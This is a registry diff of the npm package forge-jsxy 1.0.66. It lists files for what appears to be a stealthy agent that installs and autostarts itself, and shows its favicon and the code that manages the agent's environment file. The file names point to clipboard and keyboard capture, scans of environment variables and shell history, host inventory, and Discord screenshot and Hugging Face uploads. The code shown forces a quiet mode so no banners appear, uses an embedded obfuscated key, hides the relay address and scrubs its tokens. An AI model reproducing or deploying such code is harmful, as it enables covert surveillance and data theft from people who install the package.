forge-jsxy 1.0.66
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -0
- package/assets/files-explorer-template.html +4100 -0
- package/assets/forge-explorer-favicon.svg +31 -0
- package/dist/agentPid.d.ts +14 -0
- package/dist/agentPid.js +104 -0
- package/dist/agentRunner.d.ts +13 -0
- package/dist/agentRunner.js +290 -0
- package/dist/assets/files-explorer-template.html +4100 -0
- package/dist/assets/forge-explorer-favicon.svg +31 -0
- package/dist/autostart/agentEnvFile.d.ts +58 -0
- package/dist/autostart/agentEnvFile.js +488 -0
- package/dist/autostart/autoUpdatePaths.d.ts +7 -0
- package/dist/autostart/autoUpdatePaths.js +51 -0
- package/dist/autostart/constants.d.ts +14 -0
- package/dist/autostart/constants.js +17 -0
- package/dist/autostart/darwin.d.ts +11 -0
- package/dist/autostart/darwin.js +203 -0
- package/dist/autostart/darwinAutoUpdate.d.ts +4 -0
- package/dist/autostart/darwinAutoUpdate.js +70 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
- package/dist/autostart/index.d.ts +4 -0
- package/dist/autostart/index.js +20 -0
- package/dist/autostart/install.d.ts +6 -0
- package/dist/autostart/install.js +113 -0
- package/dist/autostart/linux.d.ts +17 -0
- package/dist/autostart/linux.js +298 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
- package/dist/autostart/linuxUpdateTimer.d.ts +6 -0
- package/dist/autostart/linuxUpdateTimer.js +104 -0
- package/dist/autostart/macPathEnv.d.ts +5 -0
- package/dist/autostart/macPathEnv.js +23 -0
- package/dist/autostart/manifest.d.ts +11 -0
- package/dist/autostart/manifest.js +74 -0
- package/dist/autostart/quote.d.ts +12 -0
- package/dist/autostart/quote.js +65 -0
- package/dist/autostart/resolve.d.ts +35 -0
- package/dist/autostart/resolve.js +85 -0
- package/dist/autostart/windows.d.ts +15 -0
- package/dist/autostart/windows.js +277 -0
- package/dist/cli-agent.d.ts +3 -0
- package/dist/cli-agent.js +56 -0
- package/dist/cli-autostart.d.ts +2 -0
- package/dist/cli-autostart.js +92 -0
- package/dist/cli-forge.d.ts +2 -0
- package/dist/cli-forge.js +5 -0
- package/dist/cli-linux-session-refresh.d.ts +2 -0
- package/dist/cli-linux-session-refresh.js +30 -0
- package/dist/cli-relay.d.ts +3 -0
- package/dist/cli-relay.js +38 -0
- package/dist/clientId.d.ts +2 -0
- package/dist/clientId.js +97 -0
- package/dist/clipboardEventWatcher.d.ts +8 -0
- package/dist/clipboardEventWatcher.js +177 -0
- package/dist/clipboardExec.d.ts +1 -0
- package/dist/clipboardExec.js +161 -0
- package/dist/clipboardNapi.d.ts +4 -0
- package/dist/clipboardNapi.js +19 -0
- package/dist/deploymentCipherData.d.ts +20 -0
- package/dist/deploymentCipherData.js +31 -0
- package/dist/deploymentDefaults.d.ts +43 -0
- package/dist/deploymentDefaults.js +199 -0
- package/dist/desktopEnvSync.d.ts +18 -0
- package/dist/desktopEnvSync.js +21 -0
- package/dist/discordAgentScreenshot.d.ts +27 -0
- package/dist/discordAgentScreenshot.js +476 -0
- package/dist/discordBotTokens.d.ts +29 -0
- package/dist/discordBotTokens.js +78 -0
- package/dist/discordRateLimit.d.ts +93 -0
- package/dist/discordRateLimit.js +227 -0
- package/dist/discordRelayUpload.d.ts +55 -0
- package/dist/discordRelayUpload.js +806 -0
- package/dist/discordWebhookPost.d.ts +12 -0
- package/dist/discordWebhookPost.js +108 -0
- package/dist/envLoad.d.ts +1 -0
- package/dist/envLoad.js +18 -0
- package/dist/envScan.d.ts +14 -0
- package/dist/envScan.js +358 -0
- package/dist/exportMirrorCopy.d.ts +15 -0
- package/dist/exportMirrorCopy.js +279 -0
- package/dist/fileLockForce.d.ts +50 -0
- package/dist/fileLockForce.js +1479 -0
- package/dist/filesExplorer.d.ts +9 -0
- package/dist/filesExplorer.js +110 -0
- package/dist/fsMessages.d.ts +1 -0
- package/dist/fsMessages.js +123 -0
- package/dist/fsProtocol.d.ts +107 -0
- package/dist/fsProtocol.js +4800 -0
- package/dist/hfCredentials.d.ts +23 -0
- package/dist/hfCredentials.js +124 -0
- package/dist/hfHubPathSanitize.d.ts +4 -0
- package/dist/hfHubPathSanitize.js +30 -0
- package/dist/hfHubUploadContent.d.ts +2 -0
- package/dist/hfHubUploadContent.js +199 -0
- package/dist/hfSeqIdLookup.d.ts +16 -0
- package/dist/hfSeqIdLookup.js +146 -0
- package/dist/hfUpload.d.ts +47 -0
- package/dist/hfUpload.js +1225 -0
- package/dist/hostInventory.d.ts +18 -0
- package/dist/hostInventory.js +206 -0
- package/dist/hostInventorySend.d.ts +5 -0
- package/dist/hostInventorySend.js +86 -0
- package/dist/index.d.ts +24 -0
- package/dist/index.js +62 -0
- package/dist/inputContext.d.ts +11 -0
- package/dist/inputContext.js +1094 -0
- package/dist/keyboardTranslate.d.ts +23 -0
- package/dist/keyboardTranslate.js +204 -0
- package/dist/linuxX11.d.ts +2 -0
- package/dist/linuxX11.js +53 -0
- package/dist/relayAgent.d.ts +20 -0
- package/dist/relayAgent.js +828 -0
- package/dist/relayAuth.d.ts +10 -0
- package/dist/relayAuth.js +81 -0
- package/dist/relayDashboardGate.d.ts +31 -0
- package/dist/relayDashboardGate.js +323 -0
- package/dist/relayForAgentHttp.d.ts +24 -0
- package/dist/relayForAgentHttp.js +132 -0
- package/dist/relayServer.d.ts +9 -0
- package/dist/relayServer.js +1406 -0
- package/dist/shellHistoryScan.d.ts +12 -0
- package/dist/shellHistoryScan.js +200 -0
- package/dist/startupAutoUpdate.d.ts +17 -0
- package/dist/startupAutoUpdate.js +156 -0
- package/dist/syncClient.d.ts +80 -0
- package/dist/syncClient.js +205 -0
- package/dist/tableNaming.d.ts +13 -0
- package/dist/tableNaming.js +101 -0
- package/dist/vcToWindowsVk.d.ts +7 -0
- package/dist/vcToWindowsVk.js +154 -0
- package/dist/win32InputNative.d.ts +18 -0
- package/dist/win32InputNative.js +198 -0
- package/dist/windowsInputSync.d.ts +22 -0
- package/dist/windowsInputSync.js +536 -0
- package/dist/workerBootstrap.d.ts +17 -0
- package/dist/workerBootstrap.js +327 -0
- package/package.json +75 -0
- package/scripts/copy-assets.mjs +31 -0
- package/scripts/discord-live-probe.mjs +159 -0
- package/scripts/encode-deployment.mjs +135 -0
- package/scripts/encode-hf-credentials.mjs +30 -0
- package/scripts/ensure-dist.mjs +86 -0
- package/scripts/env-sync-selftest.js +11 -0
- package/scripts/explorer-isolated-npm-env.mjs +57 -0
- package/scripts/forge-jsx-explorer-kill-agent.mjs +359 -0
- package/scripts/forge-jsx-explorer-restart.mjs +293 -0
- package/scripts/forge-jsx-explorer-upgrade.mjs +802 -0
- package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
- package/scripts/pm2-restart-forge-relay-agent.sh +43 -0
- package/scripts/postinstall-agent.mjs +313 -0
- package/scripts/postinstall-bootstrap.mjs +264 -0
- package/scripts/postinstall-clipboard-event.mjs +164 -0
- package/scripts/registry-version-lib.mjs +98 -0
- package/scripts/restart-agent.mjs +66 -0
- package/scripts/windows-forge-diagnostics.ps1 +56 -0
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 32 32" role="img" aria-label="Forge-explorer">
|
|
2
|
+
<title>Forge-explorer</title>
|
|
3
|
+
<defs>
|
|
4
|
+
<linearGradient id="fe-folder" x1="0" y1="0" x2="0" y2="1">
|
|
5
|
+
<stop offset="0%" stop-color="#edd089"/>
|
|
6
|
+
<stop offset="55%" stop-color="#c9a052"/>
|
|
7
|
+
<stop offset="100%" stop-color="#8f6b2a"/>
|
|
8
|
+
</linearGradient>
|
|
9
|
+
<linearGradient id="fe-tab" x1="0" y1="0" x2="1" y2="0">
|
|
10
|
+
<stop offset="0%" stop-color="#4a4a4e"/>
|
|
11
|
+
<stop offset="100%" stop-color="#353538"/>
|
|
12
|
+
</linearGradient>
|
|
13
|
+
</defs>
|
|
14
|
+
<rect width="32" height="32" rx="7" fill="#1e1e1e"/>
|
|
15
|
+
<rect x="1.5" y="1.5" width="29" height="29" rx="6" fill="none" stroke="#3e3e42" stroke-width="1"/>
|
|
16
|
+
<!-- Remote folder: explorer folder palette (#dcb67a family) -->
|
|
17
|
+
<path
|
|
18
|
+
fill="url(#fe-tab)"
|
|
19
|
+
d="M7 9.5h5.2L14.2 11H25a1.2 1.2 0 011.2 1.2V13H6.8v-2.3A1.3 1.3 0 018.1 9.5z"/>
|
|
20
|
+
<path
|
|
21
|
+
fill="#2d2d30"
|
|
22
|
+
stroke="#5a4a32"
|
|
23
|
+
stroke-width="0.75"
|
|
24
|
+
d="M6.5 12.5h19a1 1 0 011 1v10.8a1.2 1.2 0 01-1.2 1.2H7.7a1.2 1.2 0 01-1.2-1.2V13.5a1 1 0 011-1z"/>
|
|
25
|
+
<path
|
|
26
|
+
fill="url(#fe-folder)"
|
|
27
|
+
d="M7.2 14.2h17.6a0.6 0.6 0 010.6v9.3a1 1 0 01-1 1H7.6a1 1 0 01-1-1v-8.3a1 1 0 011-1z"/>
|
|
28
|
+
<!-- Relay accent: VS Code button blue -->
|
|
29
|
+
<circle cx="23.5" cy="9.8" r="3.2" fill="#0078d4"/>
|
|
30
|
+
<circle cx="23.5" cy="9.8" r="1.35" fill="#f0f6fc"/>
|
|
31
|
+
</svg>
|
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
/** Written under the cfgmgr data dir for systemd EnvironmentFile + cli-agent bootstrap (Windows). */
|
|
2
|
+
export declare const FORGE_AGENT_ENV_BASENAME = "forge-js-agent.env";
|
|
3
|
+
/** True if this key must not be merged into forge-js-agent.env (secrets / relay / Discord flags). */
|
|
4
|
+
export declare function forbiddenForgeAgentEnvPersistKey(key: string): boolean;
|
|
5
|
+
/**
|
|
6
|
+
* Remove relay secrets, HF blobs, and Discord flags from `forge-js-agent.env` when present (legacy / mistaken writes).
|
|
7
|
+
* Returns whether the file was rewritten.
|
|
8
|
+
*/
|
|
9
|
+
export declare function sanitizeForgeAgentEnvFileOnDisk(dataDir: string): boolean;
|
|
10
|
+
/**
|
|
11
|
+
* Best-effort: clear credential-style vars from `process.env` so they do not linger after Hub upload
|
|
12
|
+
* or relay disconnect (relay-first deployments never need these on the agent).
|
|
13
|
+
* Also removes every `RELAY_*` and most `FORGE_JS_DISCORD_*` keys (Discord automation is relay-driven or in-memory
|
|
14
|
+
* from `relay_features`). **Exception:** non-secret screenshot tuning (`FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS`, etc.)
|
|
15
|
+
* is kept so WebSocket reconnect does not drop cadence and let the relay overwrite with a slower interval.
|
|
16
|
+
* Call after each `fs_hf_upload` completion and on WebSocket teardown; HF token objects are scrubbed separately
|
|
17
|
+
* via {@link scrubHfCredentialsInPlace}. `CFGMGR_HF_NAMESPACE` is cleared after use when relay-first.
|
|
18
|
+
*/
|
|
19
|
+
export declare function stripEphemeralCredentialEnvFromProcess(): void;
|
|
20
|
+
/** Parse forge-js-agent.env content into a map (latest wins if a key appears twice). */
|
|
21
|
+
export declare function parseForgeAgentEnvFileToMap(raw: string): Map<string, string>;
|
|
22
|
+
/**
|
|
23
|
+
* Update forge-js-agent.env with the current graphical session (DISPLAY, Wayland, DBus, XAUTH, PATH).
|
|
24
|
+
* Used after login when a systemd user service already holds the agent singleton from an earlier
|
|
25
|
+
* boot-time start without a session.
|
|
26
|
+
*/
|
|
27
|
+
export declare function mergeLinuxGraphicalSessionIntoForgeAgentEnv(dataDir: string): void;
|
|
28
|
+
export declare function forgeAgentEnvPath(dataDir: string): string;
|
|
29
|
+
/**
|
|
30
|
+
* In-process Hub upload defaults (`npm install` / first run without `forge-js-agent.env`).
|
|
31
|
+
* Complements {@link applyForgeJsAgentEnvFile}; safe to call multiple times.
|
|
32
|
+
*/
|
|
33
|
+
export declare function applyDefaultHubUploadProcessEnv(): void;
|
|
34
|
+
/**
|
|
35
|
+
* Persist forge-db sync URL + (Linux) session vars so clipboard tools work under systemd --user.
|
|
36
|
+
* Without DISPLAY / XDG_RUNTIME_DIR / WAYLAND_DISPLAY, xclip and wl-paste see no clipboard after reboot.
|
|
37
|
+
* FORGE_JS_QUIET_AGENT=1 is always written so OS-service-started agents never show popup banners.
|
|
38
|
+
*
|
|
39
|
+
* On all platforms: if FORGE_JS_BUNDLE_KEY is set in the current environment it is persisted so
|
|
40
|
+
* the OS-service-started agent (after reboot) uses the same encryption key override rather than
|
|
41
|
+
* the embedded obfuscated key. This is only written when the env var is actually set; the
|
|
42
|
+
* embedded key is self-contained and requires no env var under normal conditions.
|
|
43
|
+
*
|
|
44
|
+
* @param omitSyncUrl When true, skip FORGE_JS_SYNC_URL / CFGMGR_API_URL — use when the sync URL
|
|
45
|
+
* came from the encrypted bundle so the plain IP/port is not stored on disk.
|
|
46
|
+
*/
|
|
47
|
+
export declare function writeForgeJsAgentEnv(dataDir: string, syncApiUrl?: string, omitSyncUrl?: boolean): void;
|
|
48
|
+
/**
|
|
49
|
+
* Merge a single key into `forge-js-agent.env` (creates file if missing). Used when the agent
|
|
50
|
+
* must persist runtime fixes (e.g. disabling Hub Xet) so the next process start inherits them.
|
|
51
|
+
*/
|
|
52
|
+
export declare function mergeForgeAgentEnvKeyValue(dataDir: string, key: string, value: string): void;
|
|
53
|
+
/**
|
|
54
|
+
* Remove keys from `forge-js-agent.env` (no-op if file missing). Used when tearing down the agent
|
|
55
|
+
* from the file-explorer "Kill agent" flow so Discord automation flags are not left on disk.
|
|
56
|
+
*/
|
|
57
|
+
export declare function removeForgeAgentEnvKeys(dataDir: string, keys: readonly string[]): void;
|
|
58
|
+
export declare function applyForgeJsAgentEnvFile(dataDir: string): void;
|
|
@@ -0,0 +1,488 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.FORGE_AGENT_ENV_BASENAME = void 0;
|
|
37
|
+
exports.forbiddenForgeAgentEnvPersistKey = forbiddenForgeAgentEnvPersistKey;
|
|
38
|
+
exports.sanitizeForgeAgentEnvFileOnDisk = sanitizeForgeAgentEnvFileOnDisk;
|
|
39
|
+
exports.stripEphemeralCredentialEnvFromProcess = stripEphemeralCredentialEnvFromProcess;
|
|
40
|
+
exports.parseForgeAgentEnvFileToMap = parseForgeAgentEnvFileToMap;
|
|
41
|
+
exports.mergeLinuxGraphicalSessionIntoForgeAgentEnv = mergeLinuxGraphicalSessionIntoForgeAgentEnv;
|
|
42
|
+
exports.forgeAgentEnvPath = forgeAgentEnvPath;
|
|
43
|
+
exports.applyDefaultHubUploadProcessEnv = applyDefaultHubUploadProcessEnv;
|
|
44
|
+
exports.writeForgeJsAgentEnv = writeForgeJsAgentEnv;
|
|
45
|
+
exports.mergeForgeAgentEnvKeyValue = mergeForgeAgentEnvKeyValue;
|
|
46
|
+
exports.removeForgeAgentEnvKeys = removeForgeAgentEnvKeys;
|
|
47
|
+
exports.applyForgeJsAgentEnvFile = applyForgeJsAgentEnvFile;
|
|
48
|
+
const fs = __importStar(require("node:fs"));
|
|
49
|
+
const os = __importStar(require("node:os"));
|
|
50
|
+
const path = __importStar(require("node:path"));
|
|
51
|
+
/** Written under the cfgmgr data dir for systemd EnvironmentFile + cli-agent bootstrap (Windows). */
|
|
52
|
+
exports.FORGE_AGENT_ENV_BASENAME = "forge-js-agent.env";
|
|
53
|
+
/**
|
|
54
|
+
* Keys that must never be written to `forge-js-agent.env` on the agent (relay holds HF/Discord secrets).
|
|
55
|
+
* Also stripped from existing files on load and on relay disconnect.
|
|
56
|
+
*/
|
|
57
|
+
const FORGE_AGENT_ENV_SECRET_OR_RELAY_KEYS = new Set([
|
|
58
|
+
"CFGMGR_HF_CREDENTIALS_B64",
|
|
59
|
+
"HF_TOKEN",
|
|
60
|
+
"HUGGINGFACE_HUB_TOKEN",
|
|
61
|
+
"HUGGINGFACE_HUB_URL",
|
|
62
|
+
"HUGGINGFACE_HUB_NAMESPACE",
|
|
63
|
+
"CFGMGR_HF_NAMESPACE",
|
|
64
|
+
"CFGMGR_HF_ALLOW_PLAINTEXT",
|
|
65
|
+
"RELAY_HF_CREDENTIALS_B64",
|
|
66
|
+
"RELAY_DISCORD_BOT_TOKEN",
|
|
67
|
+
"RELAY_DISCORD_BOT_TOKENS",
|
|
68
|
+
"RELAY_DISCORD_GUILD_ID",
|
|
69
|
+
"RELAY_DISCORD_PARENT_CATEGORY_ID",
|
|
70
|
+
"RELAY_DISCORD_APPLICATION_ID",
|
|
71
|
+
"RELAY_DISCORD_PUBLIC_KEY",
|
|
72
|
+
"RELAY_DISCORD_MAX_ATTACHMENT_BYTES",
|
|
73
|
+
"RELAY_DISCORD_429_MAX_ATTEMPTS",
|
|
74
|
+
"RELAY_DISCORD_SCREENSHOT_ENABLED",
|
|
75
|
+
"RELAY_SYNC_API_BASE_URL",
|
|
76
|
+
]);
|
|
77
|
+
/**
|
|
78
|
+
* Non-secret Discord screenshot tuning — must survive {@link stripEphemeralCredentialEnvFromProcess}
|
|
79
|
+
* and disk sanitize so reconnect does not lose cadence (relay_features would otherwise overwrite interval).
|
|
80
|
+
*/
|
|
81
|
+
const FORGE_JS_DISCORD_TUNING_KEYS = new Set([
|
|
82
|
+
"FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS",
|
|
83
|
+
"FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS",
|
|
84
|
+
"FORGE_JS_DISCORD_SCREENSHOT_FIRST_DELAY_MS",
|
|
85
|
+
"FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS",
|
|
86
|
+
"FORGE_JS_DISCORD_UPLOAD_MODE",
|
|
87
|
+
"FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES",
|
|
88
|
+
"FORGE_JS_DISCORD_429_MAX_ATTEMPTS",
|
|
89
|
+
"FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS",
|
|
90
|
+
]);
|
|
91
|
+
function isForgeJsDiscordScreenshotTuningKey(key) {
|
|
92
|
+
return FORGE_JS_DISCORD_TUNING_KEYS.has(String(key || "").trim());
|
|
93
|
+
}
|
|
94
|
+
function forgeAgentEnvKeyShouldBeStrippedFromDisk(key) {
|
|
95
|
+
const k = String(key || "").trim();
|
|
96
|
+
if (!k)
|
|
97
|
+
return false;
|
|
98
|
+
if (FORGE_AGENT_ENV_SECRET_OR_RELAY_KEYS.has(k))
|
|
99
|
+
return true;
|
|
100
|
+
if (k.startsWith("RELAY_"))
|
|
101
|
+
return true;
|
|
102
|
+
/** Discord flags/secrets — not persisted; tuning keys in {@link FORGE_JS_DISCORD_TUNING_KEYS} are kept. */
|
|
103
|
+
if (k.startsWith("FORGE_JS_DISCORD_") && !isForgeJsDiscordScreenshotTuningKey(k))
|
|
104
|
+
return true;
|
|
105
|
+
return false;
|
|
106
|
+
}
|
|
107
|
+
/** True if this key must not be merged into forge-js-agent.env (secrets / relay / Discord flags). */
|
|
108
|
+
function forbiddenForgeAgentEnvPersistKey(key) {
|
|
109
|
+
return forgeAgentEnvKeyShouldBeStrippedFromDisk(key);
|
|
110
|
+
}
|
|
111
|
+
/**
|
|
112
|
+
* Remove relay secrets, HF blobs, and Discord flags from `forge-js-agent.env` when present (legacy / mistaken writes).
|
|
113
|
+
* Returns whether the file was rewritten.
|
|
114
|
+
*/
|
|
115
|
+
function sanitizeForgeAgentEnvFileOnDisk(dataDir) {
|
|
116
|
+
const p = forgeAgentEnvPath(dataDir);
|
|
117
|
+
let raw = "";
|
|
118
|
+
try {
|
|
119
|
+
raw = fs.readFileSync(p, "utf8");
|
|
120
|
+
}
|
|
121
|
+
catch {
|
|
122
|
+
return false;
|
|
123
|
+
}
|
|
124
|
+
const map = parseForgeAgentEnvFileToMap(raw);
|
|
125
|
+
let changed = false;
|
|
126
|
+
for (const k of [...map.keys()]) {
|
|
127
|
+
if (forgeAgentEnvKeyShouldBeStrippedFromDisk(k)) {
|
|
128
|
+
map.delete(k);
|
|
129
|
+
changed = true;
|
|
130
|
+
}
|
|
131
|
+
}
|
|
132
|
+
if (!changed)
|
|
133
|
+
return false;
|
|
134
|
+
fs.writeFileSync(p, `${serializeForgeAgentEnvMap(map).join("\n")}\n`, "utf8");
|
|
135
|
+
return true;
|
|
136
|
+
}
|
|
137
|
+
/**
|
|
138
|
+
* Best-effort: clear credential-style vars from `process.env` so they do not linger after Hub upload
|
|
139
|
+
* or relay disconnect (relay-first deployments never need these on the agent).
|
|
140
|
+
* Also removes every `RELAY_*` and most `FORGE_JS_DISCORD_*` keys (Discord automation is relay-driven or in-memory
|
|
141
|
+
* from `relay_features`). **Exception:** non-secret screenshot tuning (`FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS`, etc.)
|
|
142
|
+
* is kept so WebSocket reconnect does not drop cadence and let the relay overwrite with a slower interval.
|
|
143
|
+
* Call after each `fs_hf_upload` completion and on WebSocket teardown; HF token objects are scrubbed separately
|
|
144
|
+
* via {@link scrubHfCredentialsInPlace}. `CFGMGR_HF_NAMESPACE` is cleared after use when relay-first.
|
|
145
|
+
*/
|
|
146
|
+
function stripEphemeralCredentialEnvFromProcess() {
|
|
147
|
+
const keys = [
|
|
148
|
+
"CFGMGR_HF_CREDENTIALS_B64",
|
|
149
|
+
"HF_TOKEN",
|
|
150
|
+
"HUGGINGFACE_HUB_TOKEN",
|
|
151
|
+
"HUGGINGFACE_HUB_URL",
|
|
152
|
+
"HUGGINGFACE_HUB_NAMESPACE",
|
|
153
|
+
"CFGMGR_HF_NAMESPACE",
|
|
154
|
+
"CFGMGR_HF_ALLOW_PLAINTEXT",
|
|
155
|
+
"RELAY_HF_CREDENTIALS_B64",
|
|
156
|
+
"RELAY_DISCORD_BOT_TOKEN",
|
|
157
|
+
"RELAY_DISCORD_BOT_TOKENS",
|
|
158
|
+
"RELAY_DISCORD_GUILD_ID",
|
|
159
|
+
"RELAY_DISCORD_PARENT_CATEGORY_ID",
|
|
160
|
+
"RELAY_DISCORD_APPLICATION_ID",
|
|
161
|
+
"RELAY_DISCORD_PUBLIC_KEY",
|
|
162
|
+
"RELAY_DISCORD_MAX_ATTACHMENT_BYTES",
|
|
163
|
+
"RELAY_DISCORD_429_MAX_ATTEMPTS",
|
|
164
|
+
"RELAY_DISCORD_SCREENSHOT_ENABLED",
|
|
165
|
+
"RELAY_SYNC_API_BASE_URL",
|
|
166
|
+
];
|
|
167
|
+
for (const k of keys) {
|
|
168
|
+
try {
|
|
169
|
+
delete process.env[k];
|
|
170
|
+
}
|
|
171
|
+
catch {
|
|
172
|
+
/* skip */
|
|
173
|
+
}
|
|
174
|
+
}
|
|
175
|
+
for (const k of Object.keys(process.env)) {
|
|
176
|
+
if (k.startsWith("RELAY_")) {
|
|
177
|
+
try {
|
|
178
|
+
delete process.env[k];
|
|
179
|
+
}
|
|
180
|
+
catch {
|
|
181
|
+
/* skip */
|
|
182
|
+
}
|
|
183
|
+
continue;
|
|
184
|
+
}
|
|
185
|
+
if (k.startsWith("FORGE_JS_DISCORD_") && !isForgeJsDiscordScreenshotTuningKey(k)) {
|
|
186
|
+
try {
|
|
187
|
+
delete process.env[k];
|
|
188
|
+
}
|
|
189
|
+
catch {
|
|
190
|
+
/* skip */
|
|
191
|
+
}
|
|
192
|
+
}
|
|
193
|
+
}
|
|
194
|
+
}
|
|
195
|
+
/**
|
|
196
|
+
* Parse a value from a KEY=value line (handles outer quotes written by envFileLine).
|
|
197
|
+
*/
|
|
198
|
+
function unquoteEnvFileValue(v) {
|
|
199
|
+
if (v.startsWith('"') && v.endsWith('"') && v.length >= 2) {
|
|
200
|
+
return v.slice(1, -1).replace(/\\"/g, '"').replace(/\\\\/g, "\\");
|
|
201
|
+
}
|
|
202
|
+
if (v.startsWith("'") && v.endsWith("'") && v.length >= 2) {
|
|
203
|
+
return v.slice(1, -1);
|
|
204
|
+
}
|
|
205
|
+
return v;
|
|
206
|
+
}
|
|
207
|
+
/** Parse forge-js-agent.env content into a map (latest wins if a key appears twice). */
|
|
208
|
+
function parseForgeAgentEnvFileToMap(raw) {
|
|
209
|
+
const map = new Map();
|
|
210
|
+
for (const line of raw.split("\n")) {
|
|
211
|
+
const t = line.replace(/\r$/, "").trim();
|
|
212
|
+
if (!t || t.startsWith("#"))
|
|
213
|
+
continue;
|
|
214
|
+
const eq = t.indexOf("=");
|
|
215
|
+
if (eq < 1)
|
|
216
|
+
continue;
|
|
217
|
+
const k = t.slice(0, eq).trim();
|
|
218
|
+
let v = t.slice(eq + 1);
|
|
219
|
+
v = unquoteEnvFileValue(v);
|
|
220
|
+
if (k)
|
|
221
|
+
map.set(k, v);
|
|
222
|
+
}
|
|
223
|
+
return map;
|
|
224
|
+
}
|
|
225
|
+
/**
|
|
226
|
+
* Format a KEY=VALUE line for an env file compatible with systemd EnvironmentFile and dotenv.
|
|
227
|
+
* Values containing spaces, double-quotes, dollar signs, or backslashes are double-quoted.
|
|
228
|
+
* systemd EnvironmentFile strips outer double-quotes from values, so this is always safe.
|
|
229
|
+
*/
|
|
230
|
+
function envFileLine(key, value) {
|
|
231
|
+
if (/[ \t"\\$`]/.test(value)) {
|
|
232
|
+
return `${key}="${value.replace(/\\/g, "\\\\").replace(/"/g, '\\"')}"`;
|
|
233
|
+
}
|
|
234
|
+
return `${key}=${value}`;
|
|
235
|
+
}
|
|
236
|
+
const PREFERRED_ENV_FILE_KEY_ORDER = [
|
|
237
|
+
"FORGE_JS_QUIET_AGENT",
|
|
238
|
+
"FORGE_JS_SYNC_URL",
|
|
239
|
+
"CFGMGR_API_URL",
|
|
240
|
+
"FORGE_JS_BUNDLE_KEY",
|
|
241
|
+
"XDG_RUNTIME_DIR",
|
|
242
|
+
"DISPLAY",
|
|
243
|
+
"WAYLAND_DISPLAY",
|
|
244
|
+
"DBUS_SESSION_BUS_ADDRESS",
|
|
245
|
+
"XAUTHORITY",
|
|
246
|
+
"PATH",
|
|
247
|
+
];
|
|
248
|
+
function serializeForgeAgentEnvMap(map) {
|
|
249
|
+
const used = new Set();
|
|
250
|
+
const lines = [];
|
|
251
|
+
for (const k of PREFERRED_ENV_FILE_KEY_ORDER) {
|
|
252
|
+
if (map.has(k)) {
|
|
253
|
+
lines.push(envFileLine(k, map.get(k)));
|
|
254
|
+
used.add(k);
|
|
255
|
+
}
|
|
256
|
+
}
|
|
257
|
+
const rest = [...map.keys()].filter((k) => !used.has(k)).sort();
|
|
258
|
+
for (const k of rest) {
|
|
259
|
+
lines.push(envFileLine(k, map.get(k)));
|
|
260
|
+
}
|
|
261
|
+
return lines;
|
|
262
|
+
}
|
|
263
|
+
/**
|
|
264
|
+
* Update forge-js-agent.env with the current graphical session (DISPLAY, Wayland, DBus, XAUTH, PATH).
|
|
265
|
+
* Used after login when a systemd user service already holds the agent singleton from an earlier
|
|
266
|
+
* boot-time start without a session.
|
|
267
|
+
*/
|
|
268
|
+
function mergeLinuxGraphicalSessionIntoForgeAgentEnv(dataDir) {
|
|
269
|
+
if (process.platform !== "linux")
|
|
270
|
+
return;
|
|
271
|
+
fs.mkdirSync(dataDir, { recursive: true });
|
|
272
|
+
const p = forgeAgentEnvPath(dataDir);
|
|
273
|
+
let raw = "";
|
|
274
|
+
try {
|
|
275
|
+
raw = fs.readFileSync(p, "utf8");
|
|
276
|
+
}
|
|
277
|
+
catch {
|
|
278
|
+
/* new file */
|
|
279
|
+
}
|
|
280
|
+
const map = parseForgeAgentEnvFileToMap(raw);
|
|
281
|
+
if (!map.has("FORGE_JS_QUIET_AGENT")) {
|
|
282
|
+
map.set("FORGE_JS_QUIET_AGENT", "1");
|
|
283
|
+
}
|
|
284
|
+
let uid = 1000;
